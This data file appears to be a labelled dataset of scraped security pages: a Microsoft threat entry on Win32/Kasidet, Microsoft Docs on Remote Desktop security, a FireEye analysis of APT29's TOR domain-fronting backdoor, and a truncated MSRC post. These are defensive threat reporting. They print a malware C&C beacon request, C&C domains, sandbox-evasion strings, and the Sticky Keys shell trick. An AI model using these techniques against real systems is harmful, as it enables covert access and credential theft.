note","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Get the Bing + MSN extension Breaking news from around the world Get the Bing + MSN extension No thanks Add it now Microsoft Microsoft Security Intelligence Threats More All Microsoft Published Jun 06, 2014 | Updated Sep 15, 2017Learn about other threats Win32/Kasidet SEVERE|Detected with Windows Defender Antivirus Aliases: W32/Trojan.FAVQ-2299 (Command) TR/Crypt.ZPACK.99635 (Avira) TROJ_SPNR.0AJ414 (Trend Micro) Summary Microsoft security software detects and removes this family of threats. Threats in this family can steal your sensitive information. They can be installed on your PC by kits such as , spam email attachments, or infected removable drives. They can also be downloaded by other malware such as and .exploitJS/NecluWin32/GamarueWin32/Dorkbot What to do now Use the following free software to detect and remove this threat:Microsoft You should also run a full scan. A full scan might find hidden malware. This threat tries to steal your sensitive and confidential information. If you think your information has been stolen, see: You should change your passwords after you've removed this threat: This threat tries to use the function to spread via removable drives, such as flash drives. You can disable to prevent worms from spreading:Windows AutorunUSBAutorun Remember to scan any removable or portable drives. If you have security software, see this topic on our software help page:Microsoft Enable the (MAPS) on your system to protect your enterprise software security infrastructure in the cloud.Microsoft Active Protection Service You can also visit our or search the for more help.advanced troubleshooting pageMicrosoft virus and malware community If you\xe2\x80\x99re using , see our .Windows XPWindows XP end of support page Windows Defender Antivirus Windows 10 and Windows 8.1 Microsoft Security Essentials Windows 7 Windows Vista for , or for and Microsoft Safety Scanner Protect your sensitive information Disable Autorun Scan removable drives Enable MAPS Get more help What to do if you are a victim of fraud Create strong passwords Disable Windows Autorun How do I scan a removable drive, such as a USB flash drive? Check if MAPS is enabled in your Microsoft security product: Join the .Microsoft Active Protection Service Community Select and then select .SettingsMAPS Select , then click . With the MAPS option enabled, your Microsoft anti-malware security product can take full advantage of Microsoft's . Advanced membershipSave changescloud protection service Technical information Threat behavior Installation Spreads through... Payload Additional information Threats in this family can be installed on your PC by kits such as , spam email attachments, or infected removable drives. They can also be downloaded by other malware such as and .exploitJS/NecluWin32/GamarueWin32/Dorkbot This malware can create a file on your PC using the name of any of the files it finds in and sets the attributes to read-only and hidden. For example, we have seen it use the following files names:%SystemRoot% It then creates this file in the following location: Some variants use a random folder name instead of Some variants can also create a shortcut link to that points to its dropped copy.. The malware creates the following registry entries so that it runs each time you start your :PC In subkey: Sets value: """", for example """" With data: for example ""explorer.exe"" In subkey: Sets value: """", for example """" With data: for example ""explorer.exe""HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run%APPDATA%\\\\%APPDATA%\\mymachine\\explorer.exe"""",HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run%APPDATA%\\\\%APPDATA%\\mymachine\\explorer.exe"""", It can create the following copies on removable drives, such as flash drives:USB It also creates an file in the root folder of the removable drive. The file has instructions to launch the malware automatically when the removable drive is connected to a with the feature turned on.autorun.infPCAutorun This is a common way for malware to spread. However, files on their own are not necessarily a sign of infection; they are also used by legitimate programs.autorun.inf Steals your sensitive information This threat can collect the following information from your PC: It also checks to see if you PC is running: The malware can also search running processes for credit card data. It skips the following processes:Windows Contacts a remote host The malware connects to a remote command and control (C&C) server with a 'ping' message. If the server is available, it will reply a \xe2\x80\x98pong\xe2\x80\x99 message. The malware then sends information about your PC to, including: Below is an example of the HTTP request: The remote server sends encoded data, usually in base64 format, that contains commands for the malware. This can include instructions to: We have seen the malware connect to following servers: Checks for virtual environments This malware checks if it's running in virtualized, sandbox environment by looking for processes and analysis tools such as: It also checks for debuggers. To do this it checks for file names containing the following strings: It also checks if the logged in user name contains any of the following strings: It also checks if any of the following modules are loaded: It also detects installed antimalware programs using Windows Management Instrumentation (WMI). If any of the above checks is true the malware will stop running and exit. Creates a mutex This threat can create the following mutexes: Analysis by Jasper Manuel and Rex Plantado explorer.exe bfsvc.exe fveupdate.exe helppane.exe hh.exe isuninst.exe notepad.exe regedit.exe slrundll.exe splwow64.exe svchost.exe taskman.exe twunk_16.exe twunk_32.exe winhelp.exe winhlp32.exe write.exe %APPDATA% \\\\, %APPDATA% \\mymachine\\explorer.exefor example :\\WinSystemKB001.exe PC name User name Operating system version Product ID Installed antivirus products Local IP address 64-bit Windows with administrator privilege csrss.exe devenv.exe lsass.exe smss.exe spoolsv.exe winlogon.exe The current logged on user name PC name Windows operating system version Whether an antivirus is found or not Whether or not IP is using Network Address Translation (NAT) Bot version Windows serial number GET /fav.php?getcmd=1&uid=&cn=:&os=&av=&nat=yes&version=2.0&serial= Download and run files Record which keys you press Participate in attacks DoS Update itself Delete files and registry entries Find files on your PC Modify the system Hosts file Visit a URL using a hidden desktop Set the interval for retrieving commands from C&C count.com count.net hotlog2.net redtd.com traficins.net Sandboxie SysAnalyzer QEmu Virtual Box VMware Wine \\Sample \\Virus Sandbox MALTEST TEQUILABOOMBOOM SANDBOX VIRUS MALWARE api_log.dll dbghelp.dll dir_watch.dll printfhelp.dll pstorec.dll sbiedll.dll vmcheck.dll wpespy.dll n3nmtx protected_n3utrino Prevention Take these steps to help prevent infection on your computer. Symptoms The following can indicate that you have this threat on your :PC You have these files: for example %APPDATA%\\\\, %APPDATA%\\mymachine\\explorer.exe You see these entries or keys in your registry In subkey: Sets value: """", for example """" With data: for example ""explorer.exe"" In subkey: Sets value: """", for example """" With data: for example ""explorer.exe"" HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run%APPDATA%\\\\%APPDATA%\\mymachine\\explorer.exe"""",HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run%APPDATA%\\\\%APPDATA%\\mymachine\\explorer.exe"""", Follow us Facebook logoTwitter logoRSS icon What's new Surface Pro 6 Surface Laptop 2 Surface Go Xbox One X Xbox One S VR & mixed reality Windows 10 apps Office apps Microsoft Store Account profile Download Center Microsoft Store support Returns Order tracking Store locations Buy online, pick up in store Education Microsoft in education Office for students Office 365 for schools Deals for students & parents Microsoft Azure in education Enterprise Azure AppSource Automotive Government Healthcare Manufacturing Financial services Retail Developer Microsoft Visual Studio Windows Dev Center Developer Network TechNet Microsoft developer program Channel 9 Office Dev Center Microsoft Garage Company Careers About Microsoft Company news Privacy at Microsoft Investors Diversity and inclusion Accessibility Security English (United States) Sitemap Contact Microsoft Privacy & cookies Terms of use Trademarks Safety & eco About our ads \xc2\xa9 Microsoft 2019","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Configure Network Level Authentication for Remote Desktop Services Connections | Microsoft Docs Skip to main content Contents Exit focus mode Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Configure Network Level Authentication for Remote Desktop Services Connections 11/17/2009 3 minutes to read In this article Applies To: Windows Server 2008 R2 Network Level Authentication is an authentication method that can be used to enhance RD\xc2 Session Host server security by requiring that the user be authenticated to the RD\xc2 Session Host server before a session is created. Network Level Authentication completes user authentication before you establish a remote desktop connection and the logon screen appears. This is a more secure authentication method that can help protect the remote computer from malicious users and malicious software. The advantages of Network Level Authentication are: It requires fewer remote computer resources initially. The remote computer uses a limited number of resources before authenticating the user, rather than starting a full remote desktop connection as in previous versions. It can help provide better security by reducing the risk of denial-of-service attacks. To use Network Level Authentication, you must meet the following requirements: The client computer must be using at least Remote Desktop Connection\xc2 6.0. The client computer must be using an operating system, such as Windows\xc2 7, Windows\xc2 Vista, or Windows\xc2 XP with Service Pack\xc2 3, that supports the Credential Security Support Provider (CredSSP) protocol. The RD\xc2 Session Host server must be running Windows Server\xc2 2008\xc2 R2 or Windows Server\xc2 2008. Use the following procedure to configure Network Level Authentication for a connection. Membership in the local Administrators group, or equivalent, is the minimum required to complete this procedure.\xc2 Review details about using the appropriate accounts and group memberships at http://go.microsoft.com/fwlink/?LinkId=83477. To configure Network Level Authentication for a connection On the RD\xc2 Session Host server, open Remote Desktop Session Host Configuration. To open Remote Desktop Session Host Configuration, click Start, point to Administrative Tools, point to Remote Desktop Services, and then click Remote Desktop Session Host Configuration. Under Connections, right-click the name of the connection, and then click Properties. On the General tab, select the Allow connections only from computers running Remote Desktop with Network Level Authentication check box. If the Allow connections only from computers running Remote Desktop with Network Level Authentication check box is selected and is not enabled, the Require user authentication for remote connections by using Network Level Authentication Group Policy setting has been enabled and has been applied to the RD\xc2 Session Host server. Click OK. The Network Level Authentication setting for an RD\xc2 Session Host server can also be set in the following ways: During the installation of the RD\xc2 Session Host role service in Server Manager, on the Specify Authentication Method for Remote Desktop Session Host page in the Add Roles Wizard. On the Remote tab in the System Properties dialog box on an RD\xc2 Session Host server. If the Allow connections from computers running any version of Remote Desktop (less secure) is not selected and is not enabled, the Require user authentication for remote connections by using Network Level Authentication Group Policy setting has been enabled and has been applied to the RD\xc2 Session Host server. To configure the Network Level Authentication setting by using the Remote tab in the System Properties dialog box on an RD\xc2 Session Host server, see Change Remote Connection Settings. By applying the Require user authentication for remote connections by using Network Level Authentication Group Policy setting. This Group Policy setting is located in Computer Configuration\\Policies\\Administrative Templates\\Windows Components\\Remote Desktop Services\\Remote Desktop Session Host\\Security and can be configured by using either the Local Group Policy Editor or the Group Policy Management Console (GPMC). Note that the Group Policy setting will take precedence over the setting configured in Remote Desktop Session Host Configuration or on the Remote tab. To determine whether a computer is running a version of Remote Desktop Connection that supports Network Level Authentication, start Remote Desktop Connection, click the icon in the upper-left corner of the Remote Desktop Connection dialog box, and then click About. Look for the phrase Network Level Authentication supported in the About Remote Desktop Connection dialog box. For more information about Remote Desktop Services, see the Remote Desktop Services page on the Windows Server\xc2 2008\xc2 R2 TechCenter (http://go.microsoft.com/fwlink/?LinkId=138055). For more information about Group Policy settings for Remote Desktop Services, see the Remote Desktop Services Technical Reference (http://go.microsoft.com/fwlink/?LinkId=138134). Additional references Configure Security Settings for Remote Desktop Services Connections Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"APT29 Domain Fronting With TOR | FireEye Inc Search Search FireEye.com Go Solutions Enterprise Security Helix Security Platform Verodin Security Instrumentation Network Security and Forensics Endpoint Security Email Security FireEye Expertise Expertise On Demand Managed Defense Threat Intelligence Security For: Cloud Financial Services Government Healthcare Industrial Control Systems VIEW ALL SOLUTIONS Services Breach Response Incident Response Incident Response Retainer Compromise Assessment Security Assessment Red Team Assessments Penetration Testing Security Program Assessment Response Readiness Assessment Active Directory Security Assessment Tabletop Exercise ICS Healthcheck Security Enhancement Education and Training ThreatSpace Cyber Range Security Transformation Cyber Defense Center Development VIEW ALL SERVICES Partners FireEye Partners FireEye Fuel Resellers Technology Partners Cyber Risk Partners Global Service Providers and MSSPs Partner Resources Partner Enablement Partner Portal Partner Education Center Partner Locator Partnering with FireEye Partnering with FireEye Become a Partner Partner Certifications and Accreditations Support Get Support Contact Support Customer Portal Support Programs Find Answers Communities Supported Products Support Notices Documentation Documentation Portal Resources Intelligence Briefing and Bulletins Annual Threat Reports Threat Intelligence Reports Threat Intelligence Reports by Industry Advanced Persistent Threat Groups Cyber Security What is Cyber Security? One Security Platform No. 1 Attack Vector \xe2\x80\x93 Email One Trusted Advisor for Expertise The Vision \xe2\x80\x93 Digital Magazine FireEye Blogs Read the FireEye Blogs Free Tools & Apps Free Software Downloads FireEye Market Training Education and Training VIEW ALL RESOURCES Company About Us Why FireEye? Awards and Honors Leadership Board of Directors Investor Relations Customers Customer Success Customer Stories Careers Job Opportunities University Relations News and Events Newsroom Press Releases Webinars Events Contact Contact FireEye To give you the best possible experience, this site uses cookies.\xc2 Find out more on how we use cookies.Accept Home FireEye Blogs Threat Research APT29 Domain Fronting With TOR Threat Research APT29 Domain Fronting With TOR March 27, 2017 | by Matthew Dunwoody | Threat Intelligence Threat Intelligence APT29 APT Mandiant has observed Russian nation-state attackers APT29 employing domain fronting techniques for stealthy backdoor access to victim environments for at least two years. There has been considerable discussion about domain fronting following the release of a paper detailing these techniques. Domain fronting provides outbound network connections that are indistinguishable from legitimate requests for popular websites. APT29 has used The Onion Router (TOR) and the TOR domain fronting plugin meek to create a hidden, encrypted network tunnel that appeared to connect to Google services over TLS. This tunnel provided the attacker remote access to the host system using the Terminal Services (TS), NetBIOS, and Server Message Block (SMB) services, while appearing to be traffic to legitimate websites. The attackers also leveraged a common Windows exploit to access a privileged command shell without authenticating. We first discussed APT29\xe2\x80\x99s use of these techniques as part of our \xe2\x80\x9cNo Easy Breach\xe2\x80\x9d talk at DerbyCon 6.0. For additional details on how we first identified this backdoor, and the epic investigation it was part of, see the slides and presentation. Domain Fronting Overview The Onion Router (TOR) is a network of proxy nodes that attempts to provide anonymity to users accessing the Internet. TOR transfers internet traffic through a series of proxy points on the Internet, with each node knowing only the previous and next node in the path. This proxy network, combined with pervasive encryption, makes tracking the source of TOR Internet activity extremely difficult. A TOR client can also use the TOR network to host services that are not accessible from the open Internet. These services are commonly used to host \xe2\x80\x9cdark web\xe2\x80\x9d sites such as the defunct Silk Road. Typically network analysts can identify normal TOR traffic through signature analysis or the identification of communication with TOR infrastructure. Meek is a publicly available obfuscation plugin for TOR and an implementation of the domain fronting technique. To hide TOR traffic, meek takes advantage of the way that Google and other Internet content delivery networks (CDNs) route traffic. CDNs often route traffic from IP addresses associated with one service to servers associated with another service hosted on the same network. By hosting a meek reflection server in one of these CDNs, meek can hide TOR traffic in legitimate HTTPS connections to well-known services. Meek obfuscates traffic in several stages. First, it encodes TOR traffic into HTTP specifying the host name of the reflection server (for example, the default server meek-reflect.appspot.com). It then wraps that HTTP traffic in a legitimate TLS connection to a server hosted in the same CDN cloud as the reflection server (in this example, Google). When the CDN server receives the connection, it decrypts the TLS traffic, identifies the hostname specified in the HTTP header and redirects the traffic to the reflection server. The reflection server then reconstructs the original TOR traffic from the HTTP stream and sends the traffic to the TOR network, which routes it to its destination. This process creates an outbound network connection that appears to contain normal HTTPS POST requests for google.com on a Google-owned IP address, while discretely passing the traffic through the reflection server to the TOR network. Meek can also use the TLS service and cipher suites used by Firefox to further obfuscate traffic. Differentiating this traffic from legitimate connections is extremely difficult, and encryption of both on the initial TLS connection and the TOR traffic makes meaningful analysis of the traffic impossible. Note: Google suspended the reflection server meek-reflect.appspot.com, but other servers, in the Google cloud or other supported CDNs, can fulfill the same function. Figure 1 displays the traffic flow when using meek. Figure 1: Meek traffic flow Backdoor Overview Mandiant discovered that APT29 enabled a TOR hidden service that forwarded traffic from the TOR client to local ports 139, 445 and 3389 (NetBIOS, SMB and TS, respectively). This provided the attackers full remote access to the system from outside of the local network using the hidden TOR (.onion) address of the system. The attackers created the following files and directories during the installation and execution of the backdoor: C:\\Program Files(x86)\\Google\\googleService.exe C:\\Program Files(x86)\\Google\\GoogleUpdate.exe C:\\Program Files(x86)\\Google\\core C:\\Program Files(x86)\\Google\\data C:\\Program Files(x86)\\Google\\data\\00 C:\\Program Files(x86)\\Google\\data\\00\\hostname C:\\Program Files(x86)\\Google\\data\\00\\private_key C:\\Program Files(x86)\\Google\\debug.log C:\\Program Files(x86)\\Google\\lock C:\\Program Files(x86)\\Google\\cached-certs C:\\Program Files(x86)\\Google\\cached-microdescs C:\\Program Files(x86)\\Google\\cached-microdescs.new C:\\Program Files(x86)\\Google\\cached-microdescs-consensus C:\\Program Files(x86)\\Google\\state C:\\Program Files(x86)\\Google\\start.ps1 C:\\Program Files(x86)\\Google\\install.bat The file googleService.exe is the primary TOR executable, responsible for establishing and maintaining encrypted proxy connections. GoogleUpdate.exe is the meek-client plugin, which obfuscates the TOR connection. These files are publicly available and have the following hashes: Filename\xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 \xc2 SHA256 googleService.exe\xc2 \xc2 \xc2 \xc2 fe744a5b2d07de396a8b3fe97155fc64e350b76d88db36c619cd941279987dc5 GoogleUpdate.exe\xc2 \xc2 \xc2 \xc2 \xc2 2f39dee2ee608e39917cc022d9aae399959e967a2dd70d83b81785a98bd9ed36 The file C:\\Program Files (x86)\\Google\\core contains configuration information for the TOR service googleService.exe. The service was configured to: Communicate on ports 1, 80 and 443 Bridge traffic using the meek plugin to https://meek-reflect.appspot.com and obfuscate HTTPS and DNS requests to appear destined for www.google.com Forward traffic from ports 62304, 62305 and 62306 to ports 3389, 139 and 445, respectively Figure 2 displays the contents of the TOR configuration file core. Figure 2: Contents of TOR configuration file \xe2\x80\x9cC:\\Program Files(x86)\\Google\\core\xe2\x80\x9d The C:\\Program Files (x86)\\Google\\data\\00\\hostname\xe2\x80\x9d file contained a single line with the TOR hostname for the system. This hostname was a pseudorandomly-generated 16 character alpha-numeric name, with the top-level domain (TLD) .onion. The C:\\Program Files(x86)\\Google\\data\\00\\private_key file contained the TOR client RSA private key. Figure 3 displays the redacted contents of a sample private_key file. Figure 3: Redacted contents of sample private_key The attackers used the scripts start.ps1 and install.bat to install the TOR service. After installation, the attackers deleted these scripts from the system. Additional files in the directory C:\\Program Files(x86)\\Google contained cached data and logs from the operation of TOR. Additional information on increasing visibility into PowerShell activity through enhanced logging is available here. Installation and Persistence The attacker executed the PowerShell script C:\\Program Files(x86)\\Google\\start.ps1 to install the TOR services and implement the \xe2\x80\x9cSticky Keys\xe2\x80\x9d exploit. This script was deleted after execution, and was not recovered. By replacing the \xe2\x80\x9cSticky Keys\xe2\x80\x9d binary, C:\\Windows\\System32\\sethc.exe, with the Windows Command Processor cmd.exe, the attackers then accessed a privileged Windows console session without authenticating to the system. \xe2\x80\x9cSticky Keys\xe2\x80\x9d is an accessibility feature that allows users to activate Windows modifier keys without pressing more than one key at a time. Pressing the shift key five times activates \xe2\x80\x9cSticky Keys\xe2\x80\x9d and executes sethc.exe, which, when replaced with cmd.exe, opens a System-level command shell. From this shell, the attackers can execute arbitrary Windows commands, including adding or modifying accounts on the system, even from the logon screen (pre-authentication). By tunneling RDP traffic to the system, the attackers could gain both persistent access and privilege escalation using this simple and well-known exploit. The installation script start.ps1 created a Windows service named Google Update to maintain persistence after a system reboot. Table 1 contains registry details for the \xe2\x80\x9cGoogle Update\xe2\x80\x9d service. Table 1: Registry details for the TOR Google Update Windows service The script also modified the Terminal Server registry values fSingleSessionPerUser to allow multiple simultaneous Windows sessions using the same account, and fDenyTSConnections to allow Terminal Services connections. Table 2 shows the modified values for these registry keys. Table 2: Registry modifications performed by start.ps1 Conclusion APT29 adopted domain fronting long before these techniques were widely known. By employing a publicly available implementation, they were able to hide their network traffic, with minimal research or development, and with tools that are difficult to attribute. Detecting this activity on the network requires visibility into TLS connections and effective network signatures. However, when dealing with advanced threat groups who rapidly develop capabilities and invest in hiding network traffic, effective endpoint visibility is vital. Monitoring for potentially interesting events and attacker methodologies, like lateral movement and new persistence creation, can allow defenders to identify these stealthy methodologies. Previous Post Next Post Promotion Recent Share Subscribe RSS Recent Posts 07 Sep 2019 Open Sourcing StringSifter 05 Sep 2019 Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment 03 Sep 2019 SharPersist: Windows Persistence Toolkit in C# Share Email Updates Information and insight on today's advanced threats from FireEye. RSS Feed: Stay Connected Company Why FireEye? Customer Stories Careers Certifications and Compliance Investor Relations Supplier Documents News and Events Newsroom Press Releases Webinars Events Awards and Honors Email Preferences Technical Support Incident? Report Security Issue Contact Support Customer Portal Communities Documentation Portal FireEye Blogs Threat Research Solutions and Services Executive Perspectives Threat Map View the Latest Threats Contact Us +1 877-347-3393 \xc2 Stay Connected LinkedIn Twitter Facebook YouTube Podcast Copyright\xc2 \xc2\xa9\xc2 2019\xc2 FireEye, Inc.\xc2 All rights reserved.\xc2 Privacy & Cookies Policy | Privacy Shield | Legal Documentation Site Language English My preferred language: English (English) French (Fran\xc3\xa7ais) German (Deutsch) Japanese (\xe6\x97\xa5\xe6\x9c\xac\xe8\xaa\x9e) Korean (\xed\x95\x9c\xea\xb5\xad\xec\x96\xb4) More languages","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Overview of Remote Desktop Gateway | Microsoft Docs Skip to main content Contents Exit focus mode Share Twitter LinkedIn Facebook Email Theme Light Dark High contrast Sign in Profile Sign out Contents Overview of Remote Desktop Gateway 11/17/2009 3 minutes to read In this article Applies To: Windows Server 2008 R2 What is Remote Desktop Gateway? Remote Desktop Gateway (RD\xc2 Gateway) is a role service that enables authorized remote users to connect to resources on an internal corporate or private network, from any Internet-connected device that can run the Remote Desktop Connection (RDC) client. The network resources can be Remote Desktop Session Host (RD\xc2 Session Host) servers, RD\xc2 Session Host servers running RemoteApp programs, or computers with Remote Desktop enabled. RD\xc2 Gateway uses the Remote Desktop Protocol (RDP) over HTTPS to establish a secure, encrypted connection between remote users on the Internet and the internal network resources on which their productivity applications run. Why use Remote Desktop Gateway? RD\xc2 Gateway provides many benefits, including: RD\xc2 Gateway enables remote users to connect to internal network resources over the Internet, by using an encrypted connection, without needing to configure virtual private network (VPN) connections. RD\xc2 Gateway provides a comprehensive security configuration model that enables you to control access to specific internal network resources. RD\xc2 Gateway provides a point-to-point RDP connection, rather than allowing remote users access to all internal network resources. RD\xc2 Gateway enables most remote users to connect to internal network resources that are hosted behind firewalls in private networks and across network address translators (NATs). With RD\xc2 Gateway, you do not need to perform additional configuration for the RD\xc2 Gateway server or clients for this scenario. Prior to this release of Windows Server, security measures prevented remote users from connecting to internal network resources across firewalls and NATs. This is because port 3389, the port used for RDP connections, is typically blocked for network security purposes. RD\xc2 Gateway transmits RDP traffic to port 443 instead, by using an HTTP Secure Sockets Layer/Transport Layer Security (SSL/TLS) tunnel. Because most corporations open port 443 to enable Internet connectivity, RD\xc2 Gateway takes advantage of this network design to provide remote access connectivity across multiple firewalls. The Remote Desktop Gateway Manager enables you to configure authorization policies to define conditions that must be met for remote users to connect to internal network resources. For example, you can specify: Who can connect to internal network resources (in other words, the user groups who can connect). What network resources (computer groups) users can connect to. Whether client computers must be members of Active Directory security groups. Whether device redirection is allowed. Whether clients need to use smart card authentication or password authentication, or whether they can use either method. You can configure RD\xc2 Gateway servers and Remote Desktop Services clients to use Network Access Protection (NAP) to further enhance security. NAP is a health policy creation, enforcement, and remediation technology that is included in Windows\xc2 Server\xc2\xae\xc2 2008\xc2 R2, Windows\xc2 Server\xc2\xae\xc2 2008, Windows\xc2\xae\xc2 7, Windows\xc2 Vista\xc2\xae, and Windows\xc2\xae\xc2 XP Service Pack\xc2 3. With NAP, system administrators can enforce health requirements, which can include software requirements, security update requirements, required computer configurations, and other settings. Note Computers running Windows Server 2008 R2 or Windows Server 2008 cannot be used as NAP clients when RD Gateway enforces NAP. Only computers running Windows 7, Windows Vista, or Windows XP SP3 can be used as NAP clients when RD Gateway enforces NAP. For information about how to configure RD\xc2 Gateway to use NAP for health policy enforcement for Remote Desktop Services clients that connect to RD\xc2 Gateway servers, see the Remote Desktop Services page on the Windows Server\xc2 2008\xc2 R2 TechCenter (). You can use RD\xc2 Gateway server with Microsoft Internet Security and Acceleration (ISA) Server to enhance security. In this scenario, you can host RD\xc2 Gateway servers in a private network rather than a perimeter network, and host ISA Server in the perimeter network. The Secure Sockets Layer (SSL) connection between the Remote Desktop Services client and ISA Server can be terminated at the ISA Server, which is Internet-facing. For information about how to configure ISA Server as an SSL termination device for RD\xc2 Gateway server scenarios, see the Remote Desktop Services page on the Windows Server\xc2 2008\xc2 R2 TechCenter (http://go.microsoft.com/fwlink/?linkid=140433). Remote Desktop Gateway Manager provides tools to help you monitor RD\xc2 Gateway server status and events. By using Remote Desktop Gateway Manager, you can specify events (such as unsuccessful connection attempts to the RD\xc2 Gateway server) that you want to monitor for auditing purposes. Additional references Remote Desktop Gateway Manager Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks In this article Previous Version Docs Blog Contribute Privacy & Cookies Terms of Use Site Feedback Trademarks","0","0","0","1","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","1","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0","0" -"Moving Beyond EMET II \xe2\x80\x93 Windows Defender Exploit Guard - Microsoft Security Response Center Skip to content Microsoft Security Response Center Main Menu Report an issueMenu Toggle Submit Security Vulnerability Submit Abuse Report Security Update Guide About MSRC Moving Beyond EMET II \xe2\x80\x93 Windows Defender Exploit Guard Security Research & Defense / By swiat / August 9, 2017 June 20, 2019 Since we last wrote about the future of EMET and how it relates to Windows 10 back in November 2016 (see Moving Beyond EMET), we have received lots of invaluable feedback from EMET customers and enthusiasts regarding the upcoming EMET end of life. Based on that feedback, we are excited to share significant new exploit protection and threat mitigation improvements coming with the Windows 10 Fall Creators Update! We recently introduced Windows Defender Exploit Guard (WDEG) which will complete our journey to incorporate all of the security benefits of EMET directly into Windows. This effort was significantly influenced by two insights that came up most frequently in our survey data, customer support calls, and conversations with EMET stakeholders and security enthusiasts. More than anything else, our customers have expressed that they want (1) a user-friendly UI for configuring mitigation settings and (2) a way to protect their legacy apps on Windows 10. As such, with the Windows 10 Fall Creators Update, you can now audit, configure, and manage Windows system and application exploit mitigations right from the Windows Defender Security Center (WDSC). You do not need to deploy or install Windows Defender Antivirus or any other additional software to take advantage of these settings, and WDEG will be available on every Windows 10 PC running the Fall Creators Update. Windows Insiders can start trying out WDEG today following these simple steps: Right-click the WDSC icon in the taskbar notification area and click Open, or search the Start menu for Windows Defender Security Center. From the Windows Defender Security Center, click on App & browser control. Scroll to the bottom of the resulting screen to find Exploit protection settings. In addition to the new user-friendly interface in WDSC, we have added the same legacy app protections that our EMET customers have come to expect, thus achieving parity between Windows 10 mitigation support and all of the mitigation features provided by EMET. While we strongly recommend the use of Control Flow Guard (CFG) to 